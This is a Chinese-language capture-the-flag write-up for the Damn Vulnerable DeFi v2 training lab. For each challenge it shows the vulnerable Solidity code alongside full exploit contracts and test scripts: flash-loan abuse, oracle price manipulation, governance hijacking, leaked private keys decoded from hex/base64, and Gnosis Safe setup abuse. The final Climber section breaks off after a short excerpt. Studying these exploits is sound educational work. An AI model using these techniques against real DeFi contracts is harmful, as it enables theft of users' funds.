Writeup | Damn vulnerable defi v2

靶场链接

Setup

  • git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
    (克隆存储库)
  • cd damn-vulnerable-defi/
    (进入存储库)
  • npm install -g yarn
    (当前节点版本全局安装yarn)
  • yarn
    (确保在存储库中运行它以安装依赖项)

使用yarn run challenge-name. 如果挑战成功执行,您就通过了!

1
2
3
(yarn run challenge-name失败可以尝试)
set http_proxy=http://127.0.0.1:7890
set https_proxy=http://127.0.0.1:7890

Unstoppable

There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans …

You start with 100 DVT tokens in balance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);

damnValuableToken.transfer(msg.sender, borrowAmount);

IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

我们要做的是使 poolBalance == balanceBefore 不成立

1
2
3
4
5
6
7
8
9
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
//await this.token.transfer(this.pool.address, 1, { from: attacker} );
// Make sure we interact with token contract as "attacker".
this.token.connect(attacker);
// Send 1 token to pool.
this.token.transfer(this.pool.address, 1);

});

Naive receiver

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");

uint256 amountToBeRepaid = msg.value + fee;

require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

_executeActionDuringFlashLoan();

// Return funds to pool
pool.sendValue(amountToBeRepaid);
}

function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {

uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");


require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);

require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}

可以利用receiveEther函数,支付10次手续费,但是要满足 msg.sender == pool

1
2
3
4
5
6
7
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
this.pool.connect(attacker);
for(let i = 0;i < 10;i ++){
await this.pool.flashLoan(this.receiver.address,0);
}
});

Truster

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don’t worry, you might be able to take them all from the pool. In a single transaction.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
  1. 使用approve函数批准
  2. 调用flashLoan并利用data
  3. transferFrom
1
2
3
4
5
6
7
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const data = this.token.interface.encodeFunctionData("approve", [attacker.address,TOKENS_IN_POOL.toHexString()],);

await this.pool.connect(attacker).flashLoan(0, attacker.address, this.token.address, data);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
});

interface.encodeFunctionData 的用法

image-20220409140557860

Side entrance

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

You must take all ETH from the lending pool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
interface IFlashLoanEtherReceiver {
function execute() external payable;
}

contract SideEntranceLenderPool {
using Address for address payable;

mapping (address => uint256) private balances;

function deposit() external payable {
balances[msg.sender] += msg.value;
}

function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.sendValue(amountToWithdraw);
}

function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}

  1. 调用flashLoan,中途把钱deposit回池中,使 address(this).balance >= balanceBefore 成立
  2. 取出存款
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity ^0.8.0;

import "../side-entrance/SideEntranceLenderPool.sol";
import "@openzeppelin/contracts/utils/Address.sol";

contract SideEntranceAttacker is IFlashLoanEtherReceiver{
using Address for address payable;

SideEntranceLenderPool pool;

function attack(SideEntranceLenderPool _pool) external {
pool = _pool;
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).sendValue(address(this).balance);
}

function execute() external payable override {
pool.deposit{value:msg.value}();
}

receive() external payable{}
}
1
2
3
4
5
6
it('Exploit', async function () {
/** YOUR EXPLOIT GOES HERE */
const SideEntranceAttacker = await ethers.getContractFactory('SideEntranceAttacker',attacker);
const Attack = await SideEntranceAttacker.deploy();
await Attack.attack(this.pool.address);
});

The rewarder

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

Oh, by the way, rumours say a new pool has just landed on mainnet. Isn’t it offering DVT tokens in flash loans?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;

if(isNewRewardsRound()) {
_recordSnapshot();
}

uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}

return rewards;
}


function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");

require(msg.sender.isContract(), "Borrower must be a deployed contract");

liquidityToken.transfer(msg.sender, amount);

msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);

require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}

test setup 可以看到攻击开始时,4 个用户在上一轮已经存入了 400 个代币,每人获得了 25 个奖励代币。且我们可以从另一个池中以闪电贷的形式借最多 1000000 个代币。

而奖励的计算方式是整型,忽略了小数部分,只要我们的投入金额足够大,就会忽略掉其他四个用户的奖励。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity ^0.8.0;

import "../the-rewarder/FlashLoanerPool.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/RewardToken.sol";
import "../the-rewarder/AccountingToken.sol";

contract TheRewarderAttacker {
FlashLoanerPool flashLoanerPool;
DamnValuableToken immutable liquidityToken;
TheRewarderPool theRewarderPool;
RewardToken rewardToken;

constructor(address liquidityTokenAddress, address rewardTokenAddress, FlashLoanerPool _flashLoanerPool, TheRewarderPool _theRewarderPool) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
rewardToken = RewardToken(rewardTokenAddress);
theRewarderPool = _theRewarderPool;
flashLoanerPool = _flashLoanerPool;
}

function attack(uint256 amount) external {
flashLoanerPool.flashLoan(amount);

rewardToken.transfer(msg.sender,rewardToken.balanceOf(address(this)));
}

function receiveFlashLoan(uint256 amount) external {
//存入所有闪贷出的token
liquidityToken.approve(address(theRewarderPool),amount);
//rewardToken.transfer(msg.sender,rewardToken.balanceOf(address(this)));
theRewarderPool.deposit(amount);
//分发奖励
//调用deposit函数时会自动调用distributeRewards函数
//theRewarderPool.distributeRewards();
//取出token
theRewarderPool.withdraw(amount);
//归还闪贷
liquidityToken.transfer(address(flashLoanerPool),amount);
}
}
1
2
3
4
5
6
7
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
const TheRewarderAttacker = await ethers.getContractFactory('TheRewarderAttacker',attacker);
const Attacker = await TheRewarderAttacker.deploy(this.liquidityToken.address, this.rewardToken.address, this.flashLoanPool.address, this.rewarderPool.address);
await Attacker.attack(TOKENS_IN_LENDER_POOL);
});

Selfie

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens.

Wow, and it even includes a really fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");

uint256 actionId = actionCounter;

GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;

actionCounter++;

emit ActionQueued(actionId, msg.sender);
return actionId;
}

function flashLoan(uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

token.transfer(msg.sender, borrowAmount);

require(msg.sender.isContract(), "Sender must be a deployed contract");
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);

uint256 balanceAfter = token.balanceOf(address(this));

require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}

drainAllFunds 允许从池中转移所有代币,并受 onlyGovernance 修饰符的保护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.8.0;

import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";

contract SelfieAttacker {
SimpleGovernance governance;
SelfiePool pool;
address attacker;
uint256 actionId;

constructor(SimpleGovernance _governance,SelfiePool _pool) {
governance = _governance;
pool = _pool;
attacker = msg.sender;
}

function attack1(uint256 amount) external {
pool.flashLoan(amount);
}

//在等待 2 天后执行它并执行它以耗尽所有令牌
function attack2() external {
governance.executeAction(actionId);
}

function receiveTokens(address _token,uint256 borrowAmount) external {
//创建治理代币的快照
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
token.snapshot();

//排队提案
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)",attacker);
actionId =governance.queueAction(address(pool),data,0);

//归还贷款
token.transfer(address(pool),borrowAmount);
}
}
1
2
3
4
5
6
7
8
9
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const SelfieAttacker = await ethers.getContractFactory('SelfieAttacker',attacker);
const Attack = await SelfieAttacker.deploy(this.governance.address,this.pool.address);

await Attack.attack1(TOKENS_IN_POOL);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
await Attack.attack2();
});

Compromised

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:

1
2
3
4
5
6
7
8
9
10
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each

This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.

Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

// calculate median price
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}

只有onlyTrustedSource才能修改价格

当价格的数组的长度为奇数时,它取中间的一个并将其称为中值价格。我们恰好有三个管理员

分析题目给出的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
data1 = "4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35";
hexdata1 = bytes.fromhex("".join(data1.split())).decode("utf-8")
base64data1 = base64.b64decode(hexdata1)
print('data1')
print(hexdata1)
print(base64data1)

data2 = '4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34'
hexdata2 = bytes.fromhex("".join(data2.split())).decode("utf-8")
base64data2 = base64.b64decode(hexdata2)
print('data2')
print(hexdata2)
print(base64data2)

得到私钥

1
2
3
4
5
6
data1
MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
b'0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9'
data2
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
b'0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
it('Exploit', async function () {        
/** CODE YOUR EXPLOIT HERE */
let privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
let privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
let compromisedOracle1 = new ethers.Wallet(privateKey1, ethers.provider);
let compromisedOracle2 = new ethers.Wallet(privateKey2, ethers.provider);

//修改为最低价
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT",1);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT",1);

//买入
await this.exchange.connect(attacker).buyOne({value:1});

//修改为最高价
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT",EXCHANGE_INITIAL_ETH_BALANCE.add(1));
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT",EXCHANGE_INITIAL_ETH_BALANCE.add(1));

//卖出
await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.exchange.connect(attacker).sellOne(0);

//修改为原始价格
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT",INITIAL_NFT_PRICE);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT",INITIAL_NFT_PRICE);
});

Puppet

There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);

require(msg.value >= depositRequired, "Not depositing enough collateral");

if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}

deposits[msg.sender] = deposits[msg.sender] + depositRequired;

// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

通过改变 uniswap 交易对中的 ether 和 DVT 的余额,我们可以操纵价格,从而操纵从 PuppetPool 借入代币所需的抵押品数量。我们希望所有 DVT 的以太币抵押品尽可能少,为此我们首先必须引发价格暴跌。为此,我们需要减少 uniswap 对的以太币余额并尽可能增加 DVT 代币余额。

可以借助UniswapV1Exchange.json中的 tokenToEthSwapInput 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"name": "tokenToEthSwapInput",
"outputs": [{ "type": "uint256", "name": "out" }],
"inputs": [
{ "type": "uint256", "name": "tokens_sold" },
{ "type": "uint256", "name": "min_eth" },
{ "type": "uint256", "name": "deadline" }
],
"constant": false,
"payable": false,
"type": "function",
"gas": 47503
}
1
2
3
4
5
6
7
8
9
10
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).approve(this.uniswapExchange.address,ATTACKER_INITIAL_TOKEN_BALANCE);

//将自己的DVT换成uniswap池中的ETH(不能换完)
await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE.sub(1),1,(await ethers.provider.getBlock('latest')).timestamp * 2);

const collateral = await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE,{value:collateral});
});

Puppet v2

The developers of the last lending pool are saying that they’ve learned the lesson. And just released a new version!

Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;)

1
2
3
4
5
6
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}

攻击逻辑和上一题一样

两种代币交换方法

1
2
3
4
5
6
7
8
9
10
11
12
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).approve(this.uniswapRouter.address,ATTACKER_INITIAL_TOKEN_BALANCE);
await this.uniswapRouter.connect(attacker).swapExactTokensForETH(ATTACKER_INITIAL_TOKEN_BALANCE, 1, [this.token.address, this.weth.address], attacker.address, ((await ethers.provider.getBlock('latest')).timestamp * 2));

const collateral = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
// 将ETH转换为 WETH
await this.weth.connect(attacker).deposit({ value: collateral });
await this.weth.connect(attacker).approve(this.lendingPool.address, collateral);
//借出全部代币
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);
});

Free rider

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn’t know how to do it. So it’s offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You want to build some rep with this buyer, so you’ve agreed with the plan.

Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}

function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");

require(msg.value >= priceToPay, "Amount paid is not enough");

amountOfOffers--;

// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

存在两个问题:

  1. 一个交易中使用同一个 msg.value ,我们只要满足 msg.value >= 最高价格即可购买下全部的 NFT
  2. 先转移 NFT 的拥有权再转账,是自己对自己转账

方案:

  1. 利用 UniswapV2 Flash Swap 借 15 ETH
  2. 将 6 个 NFT 全部买走,此时攻击者账户中拥有 90 ETH
  3. 将这 6 个 NFT 转移到买方合约中,为攻击者赚取 45 ETH
  4. 归还闪贷

可以参考 Flash Swaps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pragma solidity ^0.8.0;

import "../free-rider/FreeRiderBuyer.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IUniswapV2Pair {
// token0 : weth
// token1 : DTV
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IWETH {
function transfer(address recipient, uint256 amount) external returns (bool);
function deposit() external payable;
function withdraw(uint256 amount) external;
function balanceOf(address) external returns (uint);
}

contract FreeRiderAttacker {
address uniswapV2Pair;
IWETH immutable weth;
FreeRiderNFTMarketplace freeRiderNFTMarketplace;
address buyer;
DamnValuableNFT NFT;

uint256[] public tokenIds = [0,1,2,3,4,5];

constructor(
address _uniswapV2Pair,
IWETH _weth,
FreeRiderNFTMarketplace _freeRiderNFTMarketplace,
address _buyer,
DamnValuableNFT _NFT
) {
uniswapV2Pair = _uniswapV2Pair;
weth = _weth;
freeRiderNFTMarketplace = _freeRiderNFTMarketplace;
buyer = _buyer;
NFT = _NFT;
}

function attack(uint256 amount) public {
//闪贷
bytes memory data = "ATTACK";
IUniswapV2Pair(uniswapV2Pair).swap(amount,0,address(this),data);
}

function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) public {
//取出闪贷的weth
weth.withdraw(amount0);
//购买6个NFT
freeRiderNFTMarketplace.buyMany{value: address(this).balance}(tokenIds);
//存回池中
weth.deposit{value: address(this).balance}();
//归还闪贷
weth.transfer(uniswapV2Pair, weth.balanceOf(address(this)));
//将NFT转移到买方合约中
for(uint256 i=0 ; i<tokenIds.length ; i++) {
NFT.safeTransferFrom(address(this), buyer, i);
}
}

//实现额外的功能 onERC721Received 来接收 NFT
function onERC721Received(address, address, uint256 _tokenId, bytes memory) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}

receive() external payable {}
}
1
2
3
4
5
6
7
8
9
10
11
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const Attacker = await (await ethers.getContractFactory('FreeRiderAttacker', deployer)).deploy(
this.uniswapPair.address,
this.weth.address,
this.marketplace.address,
this.buyerContract.address,
this.nft.address
);
Attacker.connect(attacker).attack(ethers.utils.parseEther("15"));
});

Backdoor

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.

To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.

Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.

Your goal is to take all funds from the registry. In a single transaction.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);

if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}


function setupModules(address to, bytes memory data) internal {
require(modules[SENTINEL_MODULES] == address(0), "GS100");
modules[SENTINEL_MODULES] = SENTINEL_MODULES;
if (to != address(0))
// Setup has to complete successfully or transaction fails.
require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}

如何用solidity打造可升级智能合约

编写可升级的智能合约

参考题解

使用 approve 赋予攻击合约先花钱的权利,然后再从钱包中提现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";

contract BackDoorAttacker {
GnosisSafeProxyFactory public factory;
IProxyCreationCallback public callback;
address[] public users;
address public singleton;
address token;

constructor(
address _factory,
address _singleton,
address _callback,
address[] memory _users,
address _token
) {
factory = GnosisSafeProxyFactory(_factory);
singleton = _singleton;
callback = IProxyCreationCallback(_callback);
users = _users;
token = _token;
}

function approve(address _token,address spender) public {
IERC20(_token).approve(spender,10 ether);
}

function attack() external {
bytes memory data = abi.encodeWithSignature(
"approve(address,address)",
token,
address(this)
);
for (uint256 i = 0; i < users.length; i++) {
address[] memory owners = new address[](1);
owners[0] = users[i];

bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(this),
data,
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy proxy = factory.createProxyWithCallback(
singleton,
initializer,
0,
callback
);

IERC20(token).transferFrom(address(proxy), tx.origin, 10 ether);
}

}
}
1
2
3
4
5
6
7
8
9
10
11
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const Attacker = await (await ethers.getContractFactory('BackDoorAttacker', attacker)).deploy(
this.walletFactory.address,
this.masterCopy.address,
this.walletRegistry.address,
users,
this.token.address
);
await Attacker.connect(attacker).attack();
});

Climber

There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.

Your goal is to empty the vault.

ClimberTimelock 中的 execute 有一个漏洞:

1
2
3
4
5
6
for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}

require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;

